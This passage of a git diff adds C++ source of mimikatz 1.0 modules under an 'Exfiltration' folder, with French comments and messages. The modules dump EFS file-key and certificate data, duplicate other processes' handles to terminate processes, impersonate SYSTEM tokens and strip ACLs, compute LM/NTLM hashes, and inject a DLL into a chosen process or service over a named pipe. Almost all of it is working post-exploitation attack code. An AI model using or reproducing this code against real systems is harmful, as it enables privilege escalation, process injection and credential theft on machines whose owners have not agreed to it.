block < monSegEncHead->NumberOfDataBlocks; block++) + { + (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl; + + PBYTE mesDatas = reinterpret_cast(StreamData) + monSegEncHead->Length; + (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl; + + if(Fek); + } + } + else + { + (*outputStream) << L"TODO Data" << endl; + } + } + } + } + } + else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + + free(sba.tableau); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +bool mod_mimikatz_efs::toraw(vector * arguments) +{ + if(arguments->size() == 2) + { + PVOID pvContext = NULL; + (*outputStream) << L"Ouverture de : " << arguments->front() << endl; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L"Vers : " << arguments->back() << endl; + HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L" * Export OK" << endl; + } + else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + CloseHandle(hFile); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList) +{ + for(DWORD i = 0; i < hashList->nCert_Hash; i++) + { + wstring user; + mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user); + + (*outputStream) << + L" * Nom : " << user << endl << + L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl << + L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl << + endl; + } +} + +DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength) +{ + if(ulLength) + { + PSIMPLE_BYTE_ARRAY sba = reinterpret_cast(pvCallbackContext); + sba->tableau = reinterpret_cast(realloc(sba->tableau, sba->nbElements + ulLength)); + if(sba->tableau) + { + RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength); + sba->nbElements += ulLength; + } + else + return ERROR_NOT_ENOUGH_MEMORY; + } + return ERROR_SUCCESS; +} + +DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength) +{ + if(ulLength) + { + (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl; + DWORD dwBytesWritten = 0; + if(WriteFile(*reinterpret_cast(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten)) + return ERROR_SUCCESS; + return GetLastError(); + } + return ERROR_SUCCESS; +} + +bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek) +{ + *pFek = NULL; + PEFS_KEY_LIST monHead = reinterpret_cast(reinterpret_cast(header) + KeyList_offset); + + PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast(monHead); + DWORD previousSize = sizeof(PEFS_KEY_LIST); + for(DWORD i = 0; i < monHead->Length; i++) + { + (*outputStream) << endl << L" Champ de données " << (i + 1) << L" :" << endl; + monHeader = reinterpret_cast((PBYTE) monHeader + previousSize); + + PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast(reinterpret_cast(monHeader) + monHeader->PKI_Offset); + wstring user; + if(monCredHeader->OwnerSID_offset) + mod_secacl::simpleSidToString((reinterpret_cast(monCredHeader) + monCredHeader->OwnerSID_offset), &user); + else user.assign(L"(null)"); + + (*outputStream) << L" * Utilisateur : " << user << endl; + fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset); + + PBYTE Encrypted_FEK = reinterpret_cast(monHeader) + monHeader->Enc_FEK_Offset; + (*outputStream) << + L" * Flags : " << monHeader->Flags << endl << + L" * FEK (chiffrée) : " << endl << + L" -> Taille : " << monHeader->Enc_FEK_Length << endl << + L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl << + endl; + + /*HCRYPTPROV hCryptKeyProv; + if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL )) + { + HCRYPTKEY maCle = NULL; + if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle)) + { + DWORD taille = monHeader->Enc_FEK_Length; + if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) ) + { + *pFek = reinterpret_cast(Encrypted_FEK); + (*outputStream) << + L" * FEK (clair) : " << endl << + L" -> Taille : " << (*pFek)->Key_Lenght << endl << + L" -> Algorithme : " << (*pFek)->Algorithm << endl << + L" -> Entropie : " << (*pFek)->Entropy << endl << + L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl << + endl; + } + else + (*outputStream) << mod_system::getWinError() << endl; + } + CryptReleaseContext(hCryptKeyProv, 0); + }*/ + + previousSize = monHeader->Length; + } + + return (*pFek != NULL); +} + +void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset) +{ + PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast(reinterpret_cast(header) + header->Certificate_offset); + + (*outputStream) << L" -> Nom affiché : "; + if(monThCertificate->DisplayName_Offset) + (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->DisplayName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Provider : "; + if(monThCertificate->ProviderName_Offset) + (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ProviderName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Container : "; + if(monThCertificate->ContainerName_Offset) + (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ContainerName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h new file mode 100644 index 0000000..0a82140 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h @@ -0,0 +1,133 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include +#include "mod_text.h" +#include "mod_system.h" +#include "mod_secacl.h" +#include "mod_crypto.h" + +class mod_mimikatz_efs +{ +private: + // http://msdn.microsoft.com/library/cc230447.aspx + typedef struct _EFS_RAW { + DWORD Unknown0; + DWORD ROBS0; + DWORD ROBS1; + BYTE Reserved[8]; + } EFS_RAW, *PEFS_RAW; + + typedef struct _EFS_MARSHALED_STREAM { + DWORD Length; + DWORD NTFS0; + DWORD NTFS1; + DWORD Flag; + BYTE Reserved[8]; + DWORD NameLenght; + wchar_t StreamName[1]; + } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM; + + typedef struct _EFS_STREAM_DATA_SEGMENT { + DWORD Length; + DWORD GURE0; + DWORD GURE1; + DWORD Reserved; + } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT; + + typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER { + LONG64 StartingFile_Offset; + DWORD Length; + DWORD BytesWithinStreamSize; + DWORD BytesWithinVDL; + USHORT ReservedForAlignement0; + BYTE DataUnitShift; + BYTE ChunkShift; + BYTE ClusterShift; + BYTE ReservedForAlignement1; + USHORT NumberOfDataBlocks; + DWORD DataBlockSizes[1]; + } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER; + + typedef struct _EFS_EXTENDED_HEADER { + DWORD EXTD_Number; + DWORD Length; + DWORD Flags; + DWORD Reserved; + } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER; + + typedef struct _EFS_METADATA_1 { + DWORD Length; + DWORD Reserved1; + DWORD EFS_Version; + DWORD Reserved2; + BYTE EFS_ID[16]; + BYTE EFS_Hash[16]; + BYTE Reserved3[16]; + LONG DDF_Offset; + LONG DRF_Offset; + BYTE Reserved4[12]; + } EFS_METADATA_1, *PEFS_METADATA_1; + + typedef struct _EFS_KEY_LIST { + DWORD Length; + } EFS_KEY_LIST, *PEFS_KEY_LIST; + + typedef struct _EFS_KEY_LIST_ENTRY { + DWORD Length; + LONG PKI_Offset; + DWORD Enc_FEK_Length; + LONG Enc_FEK_Offset; + DWORD Flags; + } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY; + + typedef struct _EFS_PUBLIC_KEY_INFORMATION { + DWORD Length; + LONG OwnerSID_offset; + DWORD Type; + DWORD Certificate_Length; + LONG Certificate_offset; + } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION; + + typedef struct _EFS_CERTIFICATE_DATA { + LONG CertificateThumbprint; + DWORD CertificateThumbprint_Length; + LONG ContainerName_Offset; + LONG ProviderName_Offset;; + LONG DisplayName_Offset; + } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA; + + typedef struct _EFS_FEK { + DWORD Key_Lenght; + DWORD Entropy; + ALG_ID Algorithm; + DWORD Reserverd; + BYTE Key[1]; + } EFSFEK, *PEFS_FEK; + + typedef struct _SIMPLE_BYTE_ARRAY{ + SIZE_T nbElements; + PBYTE tableau; + } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY; + + static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList); + + static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek); + static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset); + +public: + static vector getMimiKatzCommands(); + + static bool infos(vector * arguments); + static bool full(vector * arguments); + static bool toraw(vector * arguments); + static bool fromraw(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp new file mode 100644 index 0000000..8e45ee6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp @@ -0,0 +1,301 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_handle.h" +#include "..\global.h" + +vector mod_mimikatz_handle::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du système (pour le moment juste les processus et tokens)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles")); + return monVector; +} + +bool mod_mimikatz_handle::list(vector * arguments) +{ + vector * mesProcess = new vector(); + + bool isProcessList = mod_process::getList(mesProcess); + vector * mesHandles = new vector(); + + DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0); + + if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0); + bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0); + + if(isToken || isProcess) + { + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" "; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)) + (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right; + delete processHote; + } + + (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t'; + + if(isToken) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + (*outputStream) << L'\t' << domainName << L'\\' << userName ; + else (*outputStream) << mod_system::getWinError(); + } + else if(isProcess) + { + DWORD monPid = GetProcessId(nouveauHandle); + (*outputStream) << monPid; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)) + (*outputStream) << L'\t' << processKiwi->szExeFile; + delete processKiwi; + } + } + (*outputStream) << endl; + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::processStop(vector * arguments) +{ + vector * mesProcess = new vector(); + + bool isProcessList = mod_process::getList(mesProcess); + vector * mesHandles = new vector(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"process") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + DWORD monPid = GetProcessId(nouveauHandle); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) && + mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess) + ) + { + + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + monPid << L'\t' << processKiwi->szExeFile << endl; + ; + + + (*outputStream) << L"\tTerminate Process - "; + if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else + { + (*outputStream) << L"KO ; " << mod_system::getWinError() << endl << + L"\tJob : "; + + if(HANDLE monObject = CreateJobObject(NULL, NULL)) + { + if(AssignProcessToJobObject(monObject, nouveauHandle)) + { + (*outputStream) << L"TerminateJobObject - "; + if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else (*outputStream) << L"KO ; " << mod_system::getWinError(); + } + else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError(); + CloseHandle(monObject); + } + + } + + (*outputStream) << endl; + } + } + } + delete processKiwi; + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::tokenImpersonate(vector * arguments) +{ + PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess")); + vector * mesProcess = new vector(); + + bool isProcessList = mod_process::getList(mesProcess); + vector * mesHandles = new vector(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"token") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) + ) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + { + if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + domainName << L'\\' << userName << L'\t'; + + if(mod_secacl::exchangeDupToken(&nouveauHandle)) + { + if(ImpersonateLoggedOnUser(nouveauHandle)) + { + (*outputStream) << L"ok !!" << endl; + break; + } + else + { + (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl; + } + } + else + { + (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl; + } + + } + } + else (*outputStream) << mod_system::getWinError(); + } + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::nullAcl(vector * arguments) +{ + vector * mesHandles = new vector(); + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool toACL = true;; + if(!arguments->empty()) + toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end(); + + if(toACL) + (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl; + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h new file mode 100644 index 0000000..961991c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_secacl.h" +#include +#include + +class mod_mimikatz_handle +{ +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + static bool processStop(vector * arguments); + static bool tokenImpersonate(vector * arguments); + static bool nullAcl(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp new file mode 100644 index 0000000..302c05e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp @@ -0,0 +1,43 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_hash.h" +#include "..\global.h" + +vector mod_mimikatz_hash::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractères")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractères")); + return monVector; +} + +bool mod_mimikatz_hash::lm(vector * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::lm(&chaine, &hash)) + (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash LM" << endl; + return true; +} + +bool mod_mimikatz_hash::ntlm(vector * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::ntlm(&chaine, &hash)) + (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash NTLM" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h new file mode 100644 index 0000000..96ac879 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hash.h" +#include + +class mod_mimikatz_hash +{ +public: + static vector getMimiKatzCommands(); + + static bool lm(vector * arguments); + static bool ntlm(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp new file mode 100644 index 0000000..012c62a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp @@ -0,0 +1,25 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_impersonate.h" +#include "..\global.h" + +vector mod_mimikatz_impersonate::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf")); + return monVector; +} +bool mod_mimikatz_impersonate::revert(vector * arguments) +{ + (*outputStream) << L"RevertToSelf : "; + if(RevertToSelf()) + (*outputStream) << L"ok"; + else + (*outputStream) << L"ko ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h new file mode 100644 index 0000000..da62b37 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_thread.h" +#include + +class mod_mimikatz_impersonate +{ +public: + static vector getMimiKatzCommands(); + + static bool revert(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp new file mode 100644 index 0000000..74ca84d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp @@ -0,0 +1,120 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_inject.h" +#include "..\global.h" + +mod_pipe * mod_mimikatz_inject::monCommunicator = NULL; + +vector mod_mimikatz_inject::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service")); + return monVector; +} + +bool mod_mimikatz_inject::process(vector * arguments) +{ + wstring processName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl; + injectInPid(monProcess.th32ProcessID, fullLib); + } + else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::service(vector * arguments) +{ + wstring serviceName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl; + (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl; + injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib); + } + else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::pid(vector * arguments) +{ + wstring strPid = arguments->front(); + wstring fullLib = arguments->back(); + + DWORD pid; + wstringstream monStream(strPid); + monStream >> pid; + + injectInPid(pid, fullLib, !(arguments->size() >= 3)); + + return true; +} + +bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm) +{ + bool reussite = false; + + if(!isComm || (isComm && !monCommunicator)) + { + if(reussite = mod_inject::injectLibraryInPid(pid, &libPath)) + { + if(isComm) + { + wstring monBuffer = L""; + + monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + (*outputStream) << L"Attente de connexion du client..." << endl; + + if(monCommunicator->createServer()) + { + (*outputStream) << L"Serveur connecté à un client !" << endl; + if(monCommunicator->readFromPipe(monBuffer)) + { + (*outputStream) << L"Message du processus :" << endl << monBuffer << endl; + } + else + { + (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + { + (*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + (*outputStream) << L"Injecté sans communication (legacy)" << endl; + } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Erreur : un canal de communicaton est déjà ouvert" << endl; + + return reussite; +} + + +bool mod_mimikatz_inject::closeThisCommunicator() +{ + if(monCommunicator) + { + (*outputStream) << L"Fermeture du canal de communication" << endl; + delete monCommunicator; + monCommunicator = NULL; + } + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h new 